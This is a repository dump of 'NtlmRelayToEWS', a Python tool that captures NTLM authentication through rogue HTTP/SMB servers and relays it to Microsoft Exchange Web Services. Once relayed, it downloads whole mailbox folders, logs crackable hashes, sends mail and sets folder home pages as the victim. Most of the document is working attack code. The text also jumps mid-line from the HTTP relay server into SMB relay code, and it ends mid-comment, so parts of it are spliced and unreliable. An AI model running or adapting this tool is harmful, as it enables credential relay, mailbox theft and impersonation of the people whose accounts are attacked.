7 | 8 | 9 | AllProperties 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/resolveEmailAddr.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | ${UserAccount} 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/sendMail.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | ${Subject} 11 | ${Message} 12 | 13 | ${DestAddressBlock} 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /SOAPRequestTemplates/setHomePage.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | ${HomePage} 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | from httprelayserver import HTTPRelayServer 2 | from smbrelayserver import SMBRelayServer 3 | from httprelayclient import HTTPRelayClient 4 | -------------------------------------------------------------------------------- /lib/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arno0x/NtlmRelayToEWS/bb96e303bf33ed33a16e8f432aed9ee4128d6fe6/lib/__init__.pyc -------------------------------------------------------------------------------- /lib/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2013-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Modified by Arno0x0x for handling NTLM relay to EWS server 9 | # 10 | # Config utilities 11 | # 12 | # Author: 13 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 14 | # 15 | # Description: 16 | # Configuration class which holds the config specified on the 17 | # command line, this can be passed to the tools' servers and clients 18 | class NTLMRelayxConfig: 19 | def __init__(self): 20 | self.daemon = True 21 | self.domainIp = None 22 | self.machineAccount = None 23 | self.machineHashes = None 24 | self.target = None 25 | self.ewsBody = None 26 | self.ewsRequest = None 27 | self.ewsFolder = None 28 | self.ewsDestAddress = None 29 | self.ewsHomePageURL = None 30 | self.mode = None 31 | self.redirecthost = None 32 | self.outputFile = None 33 | self.attacks = None 34 | self.lootdir = None 35 | self.randomtargets = False 36 | 37 | def setOutputFile(self,outputFile): 38 | self.outputFile = outputFile 39 | 40 | def setTargets(self, target): 41 | self.target = target 42 | 43 | def setEWSParameters(self, ewsBody, ewsRequest, ewsFolder, ewsDestAddress, ewsHomePageURL): 44 | self.ewsBody = ewsBody 45 | self.ewsRequest = ewsRequest 46 | self.ewsFolder = ewsFolder 47 | self.ewsDestAddress = ewsDestAddress 48 | self.ewsHomePageURL = ewsHomePageURL 49 | 50 | def setDomainAccount( self, machineAccount, machineHashes, domainIp): 51 | self.machineAccount = machineAccount 52 | self.machineHashes = machineHashes 53 | self.domainIp = domainIp 54 | 55 | def setMode(self,mode): 56 | self.mode = mode 57 | 58 | def setAttacks(self,attacks): 59 | self.attacks = attacks 60 | 61 | def setLootdir(self,lootdir): 62 | self.lootdir = lootdir 63 | -------------------------------------------------------------------------------- /lib/config.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arno0x/NtlmRelayToEWS/bb96e303bf33ed33a16e8f432aed9ee4128d6fe6/lib/config.pyc -------------------------------------------------------------------------------- /lib/helper.py: -------------------------------------------------------------------------------- 1 | from string import Template 2 | 3 | #===================================================================================== 4 | # Helper functions 5 | #===================================================================================== 6 | def color(string, color=None): 7 | """ 8 | Author: HarmJ0y, borrowed from Empire 9 | Change text color for the Linux terminal. 10 | """ 11 | 12 | attr = [] 13 | 14 | if color: 15 | if color.lower() == "red": 16 | attr.append('31') 17 | elif color.lower() == "green": 18 | attr.append('32') 19 | elif color.lower() == "blue": 20 | attr.append('34') 21 | return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 22 | 23 | else: 24 | # bold 25 | attr.append('1') 26 | if string.strip().startswith("[!]"): 27 | attr.append('31') 28 | return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 29 | elif string.strip().startswith("[+]"): 30 | attr.append('32') 31 | return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 32 | elif string.strip().startswith("[?]"): 33 | attr.append('33') 34 | return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 35 | elif string.strip().startswith("[*]"): 36 | attr.append('34') 37 | return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 38 | else: 39 | return string 40 | 41 | #------------------------------------------------------------------------ 42 | def convertFromTemplate(parameters, templateFile): 43 | try: 44 | with open(templateFile) as f: 45 | src = Template(f.read()) 46 | result = src.substitute(parameters) 47 | f.close() 48 | return result 49 | except IOError: 50 | print helpers.color("[!] Could not open or read template file [{}]".format(templateFile)) 51 | return None 52 | -------------------------------------------------------------------------------- /lib/helper.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arno0x/NtlmRelayToEWS/bb96e303bf33ed33a16e8f432aed9ee4128d6fe6/lib/helper.pyc -------------------------------------------------------------------------------- /lib/httprelayclient.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Modified by Arno0x0x for handling NTLM relay to EWS server 9 | # 10 | # Author: 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP(s) client for relaying NTLMSSP authentication to webservers 15 | # 16 | import logging 17 | import re 18 | import ssl 19 | from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 20 | import base64 21 | 22 | class HTTPRelayClient: 23 | #------------------------------------------------------------------------------- 24 | def __init__(self, target, body): 25 | # Target comes as protocol://target:port/path 26 | self.target = target 27 | proto, host, path = target.split(':') 28 | host = host[2:] 29 | self.path = '/' + path.split('/', 1)[1] 30 | self.body = body 31 | if proto.lower() == 'https': 32 | #Create unverified (insecure) context 33 | try: 34 | #uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 35 | uv_context = ssl.create_default_context() 36 | self.session = HTTPSConnection(host,context=uv_context) 37 | except AttributeError: 38 | #This does not exist on python < 2.7.11 39 | self.session = HTTPSConnection(host) 40 | else: 41 | self.session = HTTPConnection(host) 42 | self.lastresult = None 43 | 44 | #------------------------------------------------------------------------------- 45 | def sendNegotiate(self,negotiateMessage): 46 | #Check if server wants auth 47 | if self.body is not None: 48 | self.session.request('POST', self.path, self.body, {"Content-Type":"text/xml"}) 49 | else: 50 | self.session.request('GET', self.path) 51 | 52 | res = self.session.getresponse() 53 | res.read() 54 | if res.status != 401: 55 | logging.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 56 | try: 57 | if 'NTLM' not in res.getheader('WWW-Authenticate'): 58 | logging.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 59 | return False 60 | except KeyError: 61 | logging.error('No authentication requested by the server for url %s' % self.target) 62 | return False 63 | 64 | #Negotiate auth 65 | negotiate = base64.b64encode(negotiateMessage) 66 | if self.body is not None: 67 | headers = {'Authorization':'NTLM %s' % negotiate, "Content-Type":"text/xml"} 68 | self.session.request('POST', self.path, self.body, headers=headers) 69 | else: 70 | headers = {'Authorization':'NTLM %s' % negotiate} 71 | self.session.request('GET', self.path, headers=headers) 72 | 73 | res = self.session.getresponse() 74 | res.read() 75 | try: 76 | serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) 77 | serverChallenge = base64.b64decode(serverChallengeBase64) 78 | return serverChallenge 79 | except (IndexError, KeyError, AttributeError): 80 | logging.error('No NTLM challenge returned from server') 81 | 82 | #------------------------------------------------------------------------------- 83 | def sendAuth(self,authenticateMessageBlob, serverChallenge=None): 84 | #Negotiate auth 85 | auth = base64.b64encode(authenticateMessageBlob) 86 | if self.body is not None: 87 | headers = {'Authorization':'NTLM %s' % auth, "Content-Type":"text/xml"} 88 | self.session.request('POST', self.path, self.body, headers=headers) 89 | else: 90 | headers = {'Authorization':'NTLM %s' % auth} 91 | self.session.request('GET', self.path, headers=headers) 92 | 93 | res = self.session.getresponse() 94 | if res.status == 401: 95 | return False 96 | else: 97 | logging.info('HTTP server returned error code %d, treating as a succesful login' % res.status) 98 | #Cache this 99 | self.lastresult = res.read() 100 | return True 101 | 102 | #------------------------------------------------------------------------------- 103 | #SMB Relay server needs this 104 | @staticmethod 105 | def get_encryption_key(): 106 | return None 107 | -------------------------------------------------------------------------------- /lib/httprelayclient.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arno0x/NtlmRelayToEWS/bb96e303bf33ed33a16e8f432aed9ee4128d6fe6/lib/httprelayclient.pyc -------------------------------------------------------------------------------- /lib/httprelayserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2013-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Modified by Arno0x0x for handling NTLM relay to EWS server 9 | # 10 | # SMB Relay Server 11 | # 12 | # Authors: 13 | # Alberto Solino (@agsolino) 14 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 15 | # 16 | # Description: 17 | # This is the HTTP server which relays the NTLMSSP 18 | # messages to other protocols 19 | import SimpleHTTPServer 20 | import SocketServer 21 | import base64 22 | import logging 23 | import random 24 | import struct 25 | import string 26 | from threading import Thread 27 | 28 | from impacket import ntlm 29 | from impacket.spnego import SPNEGO_NegTokenResp 30 | from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 31 | from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS 32 | 33 | from lib.httprelayclient import HTTPRelayClient 34 | 35 | class HTTPRelayServer(Thread): 36 | class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 37 | def __init__(self, server_address, RequestHandlerClass, config): 38 | self.config = config 39 | SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) 40 | 41 | class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 42 | def __init__(self,request, client_address, server): 43 | self.server = server 44 | self.protocol_version = 'HTTP/1.1' 45 | self.challengeMessage = None 46 | self.target = None 47 | self.client = None 48 | self.machineAccount = None 49 | self.machineHashes = None 50 | self.domainIp = None 51 | self.authUser = None 52 | self.target = self.server.config.target.get_target(client_address[0],self.server.config.randomtargets) 53 | logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,self.target[1])) 54 | SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 55 | 56 | def handle_one_request(self): 57 | try: 58 | SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) 59 | except KeyboardInterrupt: 60 | raise 61 | except Exception, e: 62 | logging.error('Exception in HTTP request handler: %s' % e) 63 | 64 | def log_message(self, format, *args): 65 | return 66 | 67 | def do_HEAD(self): 68 | self.send_response(200) 69 | self.send_header('Content-type', 'text/html') 70 | self.end_headers() 71 | 72 | def do_AUTHHEAD(self, message = ''): 73 | self.send_response(401) 74 | self.send_header('WWW-Authenticate', message) 75 | self.send_header('Content-type', 'text/html') 76 | self.send_header('Content-Length','0') 77 | self.end_headers() 78 | 79 | #Trickery to get the victim to sign more challenges 80 | def do_REDIRECT(self): 81 | rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) 82 | self.send_response(302) 83 | self.send_header('WWW-Authenticate', 'NTLM') 84 | self.send_header('Content-type', 'text/html') 85 | self.send_header('Connection','close') 86 | self.send_header('Location','/%s' % rstr) 87 | self.send_header('Content-Length','0') 88 | self.end_headers() 89 | 90 | def do_GET(self): 91 | messageType = 0 92 | if self.headers.getheader('Authorization') is None: 93 | self.do_AUTHHEAD(message = 'NTLM') 94 | pass 95 | else: 96 | typeX = self.headers.getheader('Authorization') 97 | try: 98 | _, blob = typeX.split('NTLM') 99 | token = base64.b64decode(blob.strip()) 100 | except: 101 | self.do_AUTHHEAD() 102 | messageType = struct.unpack('> 16 226 | packet['ErrorClass'] = errorCode & 0xff 227 | # Reset the UID 228 | if self.target[0] == 'SMB': 229 | client.setUid(0) 230 | logging.error("Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name'])) 231 | 232 | #Log this target as processed for this client 233 | self.targetprocessor.log_target(connData['ClientIP'],self.target) 234 | #del (smbData[self.target]) 235 | return None, [packet], errorCode 236 | else: 237 | # We have a session, create a thread and do whatever we want 238 | logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name'])) 239 | #Log this target as processed for this client 240 | self.targetprocessor.log_target(connData['ClientIP'],self.target) 241 | ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] ) 242 | logging.info(ntlm_hash_data['hash_string']) 243 | if self.server.getJTRdumpPath() != '': 244 | writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) 245 | del (smbData[self.target]) 246 | self.do_attack(client) 247 | # Now continue with the server 248 | ############################################################# 249 | 250 | respToken = SPNEGO_NegTokenResp() 251 | # accept-completed 252 | respToken['NegResult'] = '\x00' 253 | 254 | # Status SUCCESS 255 | errorCode = STATUS_SUCCESS 256 | # Let's store it in the connection data 257 | connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 258 | else: 259 | raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 260 | 261 | respParameters['SecurityBlobLength'] = len(respToken) 262 | 263 | respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 264 | respData['SecurityBlob'] = respToken.getData() 265 | 266 | else: 267 | # Process Standard Security 268 | #TODO: Fix this for other protocols than SMB [!] 269 | respParameters = smb.SMBSessionSetupAndXResponse_Parameters() 270 | respData = smb.SMBSessionSetupAndXResponse_Data() 271 | sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) 272 | sessionSetupData = smb.SMBSessionSetupAndX_Data() 273 | sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 274 | sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 275 | sessionSetupData.fromString(SMBCommand['Data']) 276 | connData['Capabilities'] = sessionSetupParameters['Capabilities'] 277 | ############################################################# 278 | # SMBRelay 279 | smbClient = smbData[self.target]['SMBClient'] 280 | if sessionSetupData['Account'] != '': 281 | #TODO: Fix this for other protocols than SMB [!] 282 | clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 283 | else: 284 | # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 285 | errorCode = STATUS_ACCESS_DENIED 286 | 287 | if errorCode != STATUS_SUCCESS: 288 | # Let's return what the target returned, hope the client connects back again 289 | packet = smb.NewSMBPacket() 290 | packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 291 | packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 292 | packet['Command'] = recvPacket['Command'] 293 | packet['Pid'] = recvPacket['Pid'] 294 | packet['Tid'] = recvPacket['Tid'] 295 | packet['Mid'] = recvPacket['Mid'] 296 | packet['Uid'] = recvPacket['Uid'] 297 | packet['Data'] = '\x00\x00\x00' 298 | packet['ErrorCode'] = errorCode >> 16 299 | packet['ErrorClass'] = errorCode & 0xff 300 | # Reset the UID 301 | smbClient.setUid(0) 302 | #Log this target as processed for this client 303 | self.targetprocessor.log_target(connData['ClientIP'],self.target) 304 | return None, [packet], errorCode 305 | # Now continue with the server 306 | else: 307 | # We have a session, create a thread and do whatever we want 308 | ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] ) 309 | logging.info(ntlm_hash_data['hash_string']) 310 | if self.server.getJTRdumpPath() != '': 311 | writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) 312 | #TODO: Fix this for other protocols than SMB [!] 313 | clientThread = self.config.attacks['SMB'](self.config,smbClient,self.config.exeFile,self.config.command) 314 | clientThread.start() 315 | 316 | #Log this target as processed for this client 317 | self.targetprocessor.log_target(connData['ClientIP'],self.target) 318 | 319 | # Remove the target server from our connection list, the work is done 320 | del (smbData[self.target]) 321 | # Now continue with the server 322 | 323 | ############################################################# 324 | 325 | # Do the verification here, for just now we grant access 326 | # TODO: Manage more UIDs for the same session 327 | errorCode = STATUS_SUCCESS 328 | connData['Uid'] = 10 329 | respParameters['Action'] = 0 330 | 331 | respData['NativeOS'] = smbServer.getServerOS() 332 | respData['NativeLanMan'] = smbServer.getServerOS() 333 | respSMBCommand['Parameters'] = respParameters 334 | respSMBCommand['Data'] = respData 335 | 336 | # From now on, the client can ask for other commands 337 | connData['Authenticated'] = True 338 | ############################################################# 339 | # SMBRelay 340 | smbServer.setConnectionData('SMBRelay', smbData) 341 | ############################################################# 342 | smbServer.setConnectionData(connId, connData) 343 | 344 | return [respSMBCommand], None, errorCode 345 | 346 | #Initialize the correct client for the relay target 347 | def init_client(self,extSec): 348 | if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': 349 | client = HTTPRelayClient("%s://%s:%d/%s" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]), self.config.ewsBody) 350 | return client 351 | 352 | #Do the NTLM negotiate 353 | def do_ntlm_negotiate(self,client,token): 354 | #Since the clients all support the same operations there is no target protocol specific code needed for now 355 | 356 | clientChallengeMessage = client.sendNegotiate(token) 357 | challengeMessage = ntlm.NTLMAuthChallenge() 358 | challengeMessage.fromString(clientChallengeMessage) 359 | return challengeMessage 360 | 361 | #Do NTLM auth 362 | def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage): 363 | #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB 364 | respToken2 = SPNEGO_NegTokenResp(SPNEGO_token) 365 | token = respToken2['ResponseToken'] 366 | clientResponse = None 367 | 368 | if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': 369 | try: 370 | result = client.sendAuth(token) #Result is a boolean 371 | if result: 372 | errorCode = STATUS_SUCCESS 373 | else: 374 | logging.error("HTTP NTLM auth against %s as %s FAILED" % (self.target[1],self.authUser)) 375 | errorCode = STATUS_ACCESS_DENIED 376 | except Exception, e: 377 | logging.error("NTLM Message type 3 against %s FAILED" % self.target[1]) 378 | logging.error(str(e)) 379 | errorCode = STATUS_ACCESS_DENIED 380 | return clientResponse, errorCode 381 | 382 | def do_attack(self,client): 383 | #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties 384 | if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': 385 | clientThread = self.config.attacks['EWS'](self.config, client, self.authUser) 386 | clientThread.start() 387 | 388 | def _start(self): 389 | self.server.serve_forever() 390 | 391 | def run(self): 392 | logging.info("Setting up SMB Server") 393 | self._start() 394 | -------------------------------------------------------------------------------- /lib/smbrelayserver.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arno0x/NtlmRelayToEWS/bb96e303bf33ed33a16e8f432aed9ee4128d6fe6/lib/smbrelayserver.pyc -------------------------------------------------------------------------------- /lib/targetsutils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2013-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Target utilities 9 | # 10 | # Author: 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Classes for handling specified targets and keeping 15 | # state of which targets have been processed 16 | import logging 17 | import os 18 | import random 19 | import re 20 | import time 21 | from threading import Thread 22 | 23 | 24 | class TargetsProcessor(): 25 | supported_protocols = ['SMB','HTTP','HTTPS','LDAP','MSSQL','LDAPS','IMAP','IMAPS'] 26 | def __init__(self,targetlistfile=None,singletarget=None): 27 | self.targetregex = re.compile(r'([a-zA-Z]+)://([a-zA-Z0-9\.\-_]+)(:[0-9]+)?/?(.+)?') 28 | self.targetipregex = re.compile(r'[a-zA-Z\.\-_0-9]+') 29 | self.clients_targets = {} 30 | if targetlistfile is None: 31 | self.filename = None 32 | self.targets = [self.parse_target(singletarget)] 33 | else: 34 | self.filename = targetlistfile 35 | self.targets = [] 36 | self.read_targets() 37 | 38 | def read_targets(self): 39 | try: 40 | with open(self.filename,'r') as f: 41 | self.targets = [] 42 | for line in f: 43 | target = self.parse_target(line.strip()) 44 | if target is not None: 45 | self.targets.append(target) 46 | except IOError, e: 47 | logging.error("Could not open file: %s" % self.filename) 48 | logging.error(str(e)) 49 | if len(self.targets) == 0: 50 | logging.critical("Warning: no valid targets specified!") 51 | 52 | def parse_target(self,targetline): 53 | #Try a full target match in the form of protocol://target:port/path first 54 | ftm = self.targetregex.match(targetline) 55 | if ftm is not None: 56 | if ftm.group(1).upper() not in self.supported_protocols: 57 | logging.error("Unsupported protocol: %s" % ftm.group(1)) 58 | return None 59 | #Check if the port was specified 60 | if ftm.group(3) is None: 61 | port = self.get_default_port(ftm.group(1)) 62 | else: 63 | #Port regex includes the : remove this 64 | port = int(ftm.group(3)[1:]) 65 | #Check if the path was specified 66 | if ftm.group(4) is None: 67 | path = '' 68 | else: 69 | path = ftm.group(4) 70 | #Targets are always a tuple (protocol,host,port) 71 | #TODO: Change this to an object so we can have proper representation as string? 72 | return (ftm.group(1).upper(),ftm.group(2),port,path) 73 | #Maybe the target is just an IP, this assumes its an SMB target 74 | itm = self.targetipregex.match(targetline) 75 | if itm is not None: 76 | return ('SMB',itm.group(0),445,'') 77 | #If both dont match, it is probably an invalid target 78 | logging.error("Invalid target specification: " % targetline) 79 | return None 80 | 81 | def log_target(self,client,target): 82 | try: 83 | self.clients_targets[client].add(target) 84 | except KeyError: 85 | self.clients_targets[client] = set([target]) 86 | #print self.clients_targets 87 | 88 | def get_target(self,client,choose_random=False): 89 | candidates = [] 90 | try: 91 | targetlist = self.clients_targets[client] 92 | except KeyError: 93 | #Client is probably new 94 | if choose_random: 95 | return random.choice(self.targets) 96 | else: 97 | return self.targets[0] 98 | 99 | for target in self.targets: 100 | #Check if the target is already in the target list 101 | if target not in targetlist: 102 | #If random, populate candidates 103 | if choose_random: 104 | candidates.append(target) 105 | else: 106 | return target 107 | 108 | #If we arrive here and have multiple candidates, randomly select one 109 | if len(candidates) > 0: 110 | return random.choice(candidates) 111 | 112 | #We are here, which means all the targets are already exhausted by the client 113 | logging.info("All targets processed for client %s" % client) 114 | return random.choice(self.targets) 115 | 116 | def get_default_port(self,protocol): 117 | if protocol.upper() == 'SMB': 118 | return 445 119 | if protocol.upper() == 'HTTP': 120 | return 80 121 | if protocol.upper() == 'HTTPS': 122 | return 443 123 | if protocol.upper() == 'LDAP': 124 | return 389 125 | if protocol.upper() == 'LDAPS': 126 | return 636 127 | if protocol.upper() == 'MSSQL': 128 | return 1433 129 | if protocol.upper() == 'IMAP': 130 | return 143 131 | if protocol.upper() == 'IMAPS': 132 | return 993 133 | return None 134 | 135 | class TargetsFileWatcher(Thread): 136 | def __init__(self,targetprocessor): 137 | Thread.__init__(self) 138 | self.targetprocessor = targetprocessor 139 | self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime 140 | #print self.lastmtime 141 | 142 | def run(self): 143 | while True: 144 | mtime = os.stat(self.targetprocessor.filename).st_mtime 145 | if mtime > self.lastmtime: 146 | logging.info('Targets file modified - refreshing') 147 | self.lastmtime = mtime 148 | self.targetprocessor.read_targets() 149 | time.sleep(1.0) 150 | 151 | class ProxyIpTranslator(Thread): 152 | def __init__(self): 153 | Thread.__init__(self) 154 | self.regex = re.compile(r'SRC=([0-9\.]+) DST=([0-9\.]+) .*SPT=([0-9]+)') 155 | self.iptranslations = {} 156 | #-A POSTROUTING -o eth0 -j LOG --log-prefix="SMBrelay" 157 | def run(self): 158 | logging.info("Setting up Proxy translator - reading from kernel log") 159 | for line in tail("-f", "/var/log/kern.log", _iter=True): 160 | if "SMBrelay" in line: 161 | m = self.regex.search(line) 162 | if m is not None: 163 | self.iptranslations[(m.group(1),m.group(3))] = m.group(2) 164 | #logging.info('Found translation from ip: %s port: %s to IP: %s' % (m.group(1),m.group(3),m.group(2))) 165 | 166 | #Look up the destination IP based on source IP and port 167 | def translate(self,source_ip,source_port): 168 | try: 169 | return self.iptranslations[(source_ip,str(source_port))] 170 | except KeyError: 171 | return None 172 | 173 | -------------------------------------------------------------------------------- /lib/targetsutils.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Arno0x/NtlmRelayToEWS/bb96e303bf33ed33a16e8f432aed9ee4128d6fe6/lib/targetsutils.pyc -------------------------------------------------------------------------------- /ntlmRelayToEWS.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf8 -*- 3 | # 4 | # Author: Arno0x0x, Twitter: @Arno0x0x 5 | # 6 | # This work is based on Impacket/NTLMRelayx 7 | 8 | import argparse 9 | import sys 10 | import thread 11 | import string 12 | import re 13 | import os 14 | import cgi 15 | from threading import Thread 16 | from base64 import b64decode, b64encode 17 | import xml.etree.cElementTree as ET 18 | 19 | from impacket import version, smb3, smb 20 | 21 | from lib import SMBRelayServer, HTTPRelayServer 22 | from lib.config import NTLMRelayxConfig 23 | from lib.targetsutils import TargetsProcessor, TargetsFileWatcher 24 | from lib import helper 25 | from lib import logger 26 | 27 | #========================================================================================= 28 | # GLOBAL CONFIG 29 | #========================================================================================= 30 | templatesFolder = "SOAPRequestTemplates/" 31 | exchangeVersion = "Exchange2010_SP2" 32 | exchangeNamespace = {'m': 'http://schemas.microsoft.com/exchange/services/2006/messages', 't': 'http://schemas.microsoft.com/exchange/services/2006/types'} 33 | 34 | #========================================================================================= 35 | # Class EWSAttack 36 | #========================================================================================= 37 | class EWSAttack(Thread): 38 | def __init__(self, config, HTTPClient, username): 39 | Thread.__init__(self) 40 | self.daemon = True 41 | self.config = config 42 | self.client = HTTPClient 43 | self.username = username 44 | 45 | #----------------------------------------------------------------------------------------- 46 | # Encodes the folder home page URL as a data structure expected by EWS 47 | # ref: http://www.infinitec.de/post/2011/10/05/Setting-the-Homepage-of-an-Exchange-folder-using-the-EWS-Managed-API.aspx 48 | # ref: https://social.msdn.microsoft.com/Forums/Lync/en-US/08572767-9375-4b87-9f05-7ff3e9928f89/ews-powershell-set-homepageurl?forum=exchangesvrdevelopment 49 | #----------------------------------------------------------------------------------------- 50 | def encodeHomePageURL(self, url): 51 | # Converting url to unicode string 52 | homePageHex = '' 53 | for c in url: 54 | homePageHex = homePageHex + c.encode('hex') + "00" 55 | 56 | # Preparing the structure 57 | s = "02" # WEBVIEW_PERSISTENCE_VERSION 58 | s = s + "00000001" # Type: WEBVIEWURL 59 | s = s + "00000001" # WEBVIEW_FLAGS_SHOWBYDEFAULT 60 | s = s + "00000000000000000000000000000000000000000000000000000000" # UNUSED 61 | s = s + "000000" 62 | s = s + format(len(homePageHex)/2+2,'x') 63 | s = s + "000000" 64 | s = s + homePageHex 65 | s = s + "0000" 66 | 67 | return b64encode(bytearray.fromhex(s)) 68 | 69 | #----------------------------------------------------------------------------------------- 70 | # The thread entry point 71 | #----------------------------------------------------------------------------------------- 72 | def run(self): 73 | 74 | print helper.color("[+] Received response from EWS server") 75 | 76 | #------------------------------ GET FOLDER ITEMS ------------------------------ 77 | if self.config.ewsRequest == "getFolder": 78 | print helper.color("[+] Received items list for folder [{}]".format(self.config.ewsFolder)) 79 | try: 80 | folderXML = ET.fromstring(self.client.lastresult) 81 | 82 | #---- Create the output directory to save all items 83 | outputDir = "output/" + self.config.ewsFolder 84 | if not os.path.exists(outputDir): 85 | os.makedirs(outputDir) 86 | 87 | #---- Download all items 88 | print helper.color("[+] Sending requests to download all items from folder [{}]".format(self.config.ewsFolder)) 89 | i = 0 90 | for item in folderXML.findall(".//t:ItemId", exchangeNamespace): 91 | params = {'ExchangeVersion': exchangeVersion,'Id': item.get('Id'), 'ChangeKey': item.get('ChangeKey')} 92 | body = helper.convertFromTemplate(params, templatesFolder + "getItem.tpl") 93 | self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) 94 | result = self.client.session.getresponse().read() 95 | 96 | itemXML = ET.fromstring(result) 97 | mimeContent = itemXML.find(".//t:MimeContent", exchangeNamespace).text 98 | 99 | try: 100 | extension = "vcf" if self.config.ewsFolder == "contacts" else "eml" 101 | fileName = outputDir + "/item-{}.".format(i) + extension 102 | with open(fileName, 'w+') as fileHandle: 103 | fileHandle.write(b64decode(mimeContent)) 104 | fileHandle.close() 105 | print helper.color("[+] Item [{}] saved successfully".format(fileName)) 106 | except IOError: 107 | print helper.color("[!] Could not write file [{}]".format(fileName)) 108 | i = i + 1 109 | except Exception, e: 110 | print helper.color("[!] Error processing result for getFolder: [{}]".format(str(e))) 111 | 112 | #------------------------------ SET FOLDER HOME PAGE ------------------------------ 113 | # Ref: 